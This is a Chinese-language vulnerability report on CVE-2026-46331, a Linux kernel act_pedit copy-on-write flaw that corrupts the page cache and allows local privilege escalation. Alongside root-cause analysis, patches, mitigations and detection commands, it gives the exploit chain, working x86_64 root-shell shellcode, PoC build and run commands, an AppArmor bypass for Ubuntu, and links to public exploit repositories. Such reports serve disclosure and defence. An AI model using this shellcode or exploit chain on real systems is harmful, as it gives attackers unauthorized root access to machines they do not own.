CVE-2026-46331 漏洞分析报告
分析时间: 2026-06-29漏洞昵称: pedit COW影响产品: Linux Kernel (net/sched 子系统)
漏洞复现
星球已编译非交互式WebShell版
一、漏洞概述
CVE-2026-46331 - Linux Kernel net/sched act_pedit 局部 COW 页面缓存污染导致本地提权
CVE-2026-46331 是 Linux 内核 net/sched 流量控制子系统中 act_pedit(数据包编辑动作)的一个严重安全漏洞。该漏洞源于内核在修改数据包头部之前计算可写 Copy-on-Write (COW) 范围时存在缺陷——它在遍历编辑键(keys)之前仅计算一次 COW 范围,使用的预计算提示值 tcfp_off_max_hint 未能考虑类型化键(typed keys)在运行时添加的头部偏移量。这导致部分写入区域未被正确 COW 化,内核最终写入了共享的页面缓存页面而非私有副本,从而造成页面缓存污染。
攻击者可以利用此漏洞,通过污染 setuid-root 二进制文件(如 /bin/su)在页面缓存中的 ELF 镜像,注入 shellcode 并执行,最终实现从普通本地用户到 root 的权限提升。
该漏洞与 Dirty Pipe (CVE-2022-0847)、Copy Fail (CVE-2026-31431)、DirtyClone 和 Dirty Frag 属于同一类漏洞家族——都是内核快速路径写入了它不独占拥有的页面。
二、漏洞详细信息
| |
|---|
| CVE 编号 | |
| 漏洞类型 | 越界写入 (Out-of-Bounds Write) → 页面缓存污染 → 本地权限提升 (LPE) |
| 漏洞发布日期 | |
| POC/EXP 发布日期 | |
| 受影响组件 | Linux Kernel net/sched/act_pedit.c |
| 受影响函数 | tcf_pedit_act() |
| 引入版本 | Linux Kernel v5.18 (commit 8b796475fd78) |
| 修复版本 | Linux Kernel v7.1-rc7 及稳定分支回补 |
| 严重程度 | CVSS v3.1: 7.8 (HIGH) |
| CVSS 向量 | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Red Hat 评级 | |
| 攻击向量 | |
| 所需权限 | 普通用户 + 可通过非特权用户命名空间获取 namespace-local CAP_NET_ADMIN |
| 用户交互 | |
三、受影响版本
受影响的内核版本范围
已确认受影响的发行版
| | | |
|---|
| RHEL 10.0 | | | |
| RHEL 9 | | | |
| RHEL 8 | | | |
| AlmaLinux 8 | | | |
| Debian 13 (trixie) | | | |
| Debian 11 | | | |
| Debian 12 | | | |
| Ubuntu 24.04.4 | | ✅ 需 --ubuntu 标志绕过 AppArmor | |
| Ubuntu 18.04 ~ 26.04 | | | |
| Ubuntu 26.04 | | ❌ AppArmor 阻止 PoC (内核仍脆弱) | |
| RHEL 7 / CentOS 7 | | | |
利用前提条件
- act_pedit 模块可加载 — 当配置 pedit tc 动作时会自动加载
- 非特权用户命名空间已启用 — 攻击者通过
unshare(CLONE_NEWUSER | CLONE_NEWNET) 获取 namespace-local 的 CAP_NET_ADMIN - 本地代码执行能力 — 攻击者需要在目标系统上以普通用户身份执行代码
四、漏洞根因分析
技术细节
漏洞位于 net/sched/act_pedit.c 中的 tcf_pedit_act() 函数。
问题流程:
tcf_pedit_act() │ ├── 使用 tcfp_off_max_hint 计算 COW 范围 (仅一次,在键循环之前) │ │ │ └── skb_ensure_writable() ← 基于预计算提示值 │ ├── 遍历编辑键 (per-key loop) │ │ │ └── 类型化键在运行时解析偏移量 (L2/L3/L4 头部) │ │ │ └── 实际写入偏移量 > COW 范围 │ └── 写入未 COW 化的区域 → 共享页面缓存被污染
核心问题:
tcf_pedit_act() 在键循环之前使用 tcfp_off_max_hint 一次性计算 skb_ensure_writable() 的 COW 范围- 该提示值未考虑类型化键(typed keys)在运行时添加的头部偏移量
- 类型化键的偏移量在执行时针对 L2/L3/L4 头部解析,真实写入偏移量仅在循环运行时才知道
- 部分目标区域因此从未被私有化(partial COW)
- 由于 skb 可以引用通过
sendfile 拉入的零拷贝页面,该越界写入可落入支持磁盘文件的共享页面缓存内存中
五、POC/EXP 利用分析
公开 PoC 信息
| |
|---|
| PoC 作者 | Massimiliano Oldani (sgkdev) |
| PoC 仓库 | https://github.com/sgkdev/packet_edit_meme |
| PoC 发布日期 | |
| Stars / Forks | |
| 语言 | C (96.8%) + Makefile (3.2%) |
| PoC 状态 | ✅ 公开可用,已验证可在多个发行版上实现 unprivileged → root |
第二个 PoC 仓库
| |
|---|
| 仓库 | https://github.com/0xBlackash/CVE-2026-46331 |
| Stars / Forks | |
| 语言 | |
利用链 (Exploit Chain)
PoC 不需要堆整形(heap shaping)或竞争窗口(race window),链接了四个普通组件:
- 从非特权用户命名空间中,攻击者获取 namespace-local 的
CAP_NET_ADMIN - 通过
unshare(CLONE_NEWUSER | CLONE_NEWNET) 实现
- 配置 pedit 动作,使用类型化键,其运行时偏移量落在
tcf_pedit_act() 使其可写的范围之外
- 通过向网络栈注入零拷贝文件引用,将越界写入定向到 setuid-root
/bin/su 的缓存 ELF 镜像
- 用等效于
setgid(0) + setuid(0) + execve("/bin/sh") 的 shellcode 覆盖缓存的入口点
- 共享页面缓存提供被污染的镜像,shellcode 以 root 身份运行
关键 Shellcode (x86_64)
/* x86_64: setgid(0); setuid(0); execve("/bin/sh", {"/bin/sh", NULL}, NULL). 48 bytes, 纯系统调用,syscall ABI 冻结,可在任何 5.x/6.x/7.x 内核上运行 */staticconstunsignedchar SHELLCODE[] = {0x31, 0xff, // xor edi, edi0xb8, 0x6a, 0x00, 0x00, 0x00, // mov eax, 106 (setgid)0x0f, 0x05, // syscall0xb8, 0x69, 0x00, 0x00, 0x00, // mov eax, 105 (setuid)0x0f, 0x05, // syscall (rdi still 0)0x48, 0x31, 0xd2, // xor rdx, rdx0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, // movabs rbx, "/bin/sh"0x53, // push rbx0x48, 0x89, 0xe7, // mov rdi, rsp0x52, // push rdx (argv NULL)0x57, // push rdi ("/bin/sh")0x48, 0x89, 0xe6, // mov rsi, rsp (argv)0xb8, 0x3b, 0x00, 0x00, 0x00, // mov eax, 59 (execve)0x0f, 0x05, // syscall0x90, 0x90, 0x90, // NOP padding};
PoC 编译与运行
# 编译x86_64-linux-gnu-gcc -O2 -Wall -static packet_edit_meme.c pedit_primitive.c -o packet_edit_meme# 在 RHEL/Debian 上运行 (非特权用户命名空间默认开放)./packet_edit_meme# 在 AppArmor 限制的 Ubuntu 上运行 (需要 aa-exec 绕过)./packet_edit_meme --ubuntu
已验证目标
pedit_primitive.c 核心利用原语
/* * pedit_primitive.c -- CVE-2026-46331 页面缓存覆盖原语 * * 在 lo 上的 egress tc-pedit 动作,其第一个 (NETWORK) 键膨胀 IP 头部长度, * 使后续 TCP 键写入超出动作的单一、陈旧 COW 范围——进入 sendfile 放入 egress skb 的页面缓存页面。 */// 核心 API: 通过页面缓存原语向文件描述符写入数据intapi_fd_write(int fd, off_t offset, constvoid *src, size_t size);// 设置函数: 初始化 netlink socket、loopback 接口、监听 socketintsetup(void);
Ubuntu AppArmor 绕过机制
Ubuntu 通过两个 sysctl 拒绝无限制的非特权用户命名空间:
kernel.apparmor_restrict_unprivileged_userns — 拒绝无限制 userns 创建kernel.apparmor_restrict_unprivileged_unconfined — 强制无限制 change_profile 到 STACK
--ubuntu 标志通过 aa-exec -p {trinity,chrome,flatpak} 重新执行(这些配置文件携带 userns, 规则):
- 24.04.4: userns=1, unconfined=0 → aa-exec 绕过 有效
- 26.04: userns=1, unconfined=1 → aa-exec 绕过 已关闭
六、修复方案
上游内核修复
修复补丁主题: "net/sched: act_pedit: extend the writable skb range per key"
修复内容:
- 将
skb_ensure_writable() 移入每个键的循环内部,此时实际写入偏移量已知 - 对
offset_valid() 添加 INT_MIN 防护(取反未定义) - 对于负偏移量(如入口处的以太网头部编辑),使用
skb_cow() 来 COW headroom - 提前线性化携带共享 frags 的 skbs,使零拷贝页面不会被静默污染
修复 Commit
| |
|---|
| 899ee91156e57784090c5565e4f31bd7dbffbc5a |
| 2bec122b9fb91507a758ab5e3e5c4fbe7cb3f61b |
| 3dee9d0c198faeb95d052c1b94c2958751a28512 |
| b198ed4e52580a7238c7c7082f03906f8b310313 |
厂商修复状态
七、缓解措施
1. 安装补丁内核并重启(首选)
# RHEL/AlmaLinuxsudo yum update kernelsudo reboot# Debiansudo apt update && sudo apt upgradesudo reboot
2. 阻止 act_pedit 模块加载(如果不使用 tc pedit 规则)
# 检查模块是否已加载lsmod | grep -w act_pedit# 检查是否正在使用 pedit 规则tc actions list action pedit# 阻止加载 (更可靠的 install 覆盖方式)echo'install act_pedit /bin/true' | sudo tee /etc/modprobe.d/disable-act_pedit.conf# 如果已加载且无活动规则依赖,卸载它lsmod | grep -w act_pedit && sudo rmmod act_pedit# 恢复: 删除配置文件sudo rm /etc/modprobe.d/disable-act_pedit.conf
3. 限制非特权用户命名空间
# EL 系列 (RHEL/CentOS/AlmaLinux)sudo sysctl -w user.max_user_namespaces=0echo'user.max_user_namespaces = 0' | sudo tee /etc/sysctl.d/99-pedit-cow.conf# Debian / Ubuntusudo sysctl -w kernel.unprivileged_userns_clone=0echo'kernel.unprivileged_userns_clone = 0' | sudo tee /etc/sysctl.d/99-pedit-cow.conf
注意: 非特权用户命名空间是 rootless 容器运行时、CI 沙箱、Flatpak 等所必需的。禁用会影响这些功能。
4. 检测与狩猎
# 审计 tc 执行和模块加载auditctl -w /sbin/tc -p x -k tc_execauditctl -w /usr/sbin/tc -p x -k tc_execgrep act_pedit /proc/modules# 如果怀疑被利用,清除页面缓存sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
八、参考信息
| |
|---|
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-46331 |
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-46331 |
| GitHub Advisory | |
| Red Hat RHSB-2026-008 | https://access.redhat.com/security/vulnerabilities/RHSB-2026-008 |
| Red Hat CVE 页面 | https://access.redhat.com/security/cve/cve-2026-46331 |
| Debian Security Tracker | https://security-tracker.debian.org/tracker/CVE-2026-46331 |
| Ubuntu Security | https://ubuntu.com/security/CVE-2026-46331 |
| Amazon Linux | https://explore.alas.aws.amazon.com/CVE-2026-46331.html |
| CloudLinux 博客 | https://blog.cloudlinux.com/pedit-cow-mitigation-and-kernel-update |
| TuxCare 深度分析 | https://tuxcare.com/blog/pedit-cow-cve/ |
| The Hacker News | https://thehackernews.com/2026/06/new-linux-pedit-cow-exploit-enables.html |
| PoC (sgkdev) | https://github.com/sgkdev/packet_edit_meme |
| PoC (0xBlackash) | https://github.com/0xBlackash/CVE-2026-46331 |
| netdev 邮件列表 | https://lists.openwall.net/netdev/2026/05/23/133 |
| 修复 Commit 1 | https://git.kernel.org/stable/c/899ee91156e57784090c5565e4f31bd7dbffbc5a |
| 修复 Commit 2 | https://git.kernel.org/stable/c/2bec122b9fb91507a758ab5e3e5c4fbe7cb3f61b |
| 修复 Commit 3 | https://git.kernel.org/stable/c/3dee9d0c198faeb95d052c1b94c2958751a28512 |
| 修复 Commit 4 | https://git.kernel.org/stable/c/b198ed4e52580a7238c7c7082f03906f8b310313 |
| OpenCVE | https://app.opencve.io/cve/CVE-2026-46331 |
| Strobes VI | https://vi.strobes.co/cve/CVE-2026-46331 |
| Penligent 分析 | https://www.penligent.ai/hackinglabs/cve-2026-46331/ |
| TLCTC 分析 | https://www.tlctc.net/cve-2026-46331-tlctc.html |
| Windows Forum | https://windowsforum.com/threads/cve-2026-46331-linux-pedit-net-sched-bug-fix-prevents-page-cache-corruption.428355/ |
| Reddit 讨论 | https://www.reddit.com/r/cybersecurity/comments/1ugckz5/peditcow_cve202646331_another_pagecache_write_in/ |
九、时间线
| |
|---|
| 2026-05-23 | 修复补丁在 netdev 邮件列表上作为常规数据损坏补丁发布,无 CVE、无安全警告 |
| 2026-06-16 | 修复合并,kernel.org CNA 分配 CVE-2026-46331,NVD 首次发布 |
| 2026-06-17 | 公开武器化 PoC 由 sgkdev 发布到 GitHub |
| 2026-06-17 | |
| 2026-06-19 | |
| 2026-06-21 | Debian 发布 DSA-6355-1 安全更新 |
| 2026-06-22 | AlmaLinux 发布 ALSA-2026:27353 |
| 2026-06-23 | Red Hat 发布 RHEL 8/9/10 安全更新 |
| 2026-06-25 | |
| 2026-06-26 | |
| 2026-06-28 | NVD 添加 CVSS v3.1 评分 (7.8 HIGH) |
十、优先级修复清单
- 立即修补 — 在 RHEL 8/9/10、AlmaLinux 8、Debian 13 上部署厂商修复内核并重启
- 无法修补时缓解 — 如果不使用 tc pedit 规则则阻止 act_pedit,或限制非特权用户命名空间
- 审计本地访问 — 审查共享主机、CI/CD 运行器、构建服务器上的 shell 访问权限
- 狩猎检测 — 从 5 月下旬邮件列表发布开始,对暴露窗口运行检测启发式分析
- 修补后重启 — 清除可能被污染的缓存页面以及旧内核
报告生成时间: 2026-06-29 08:12:15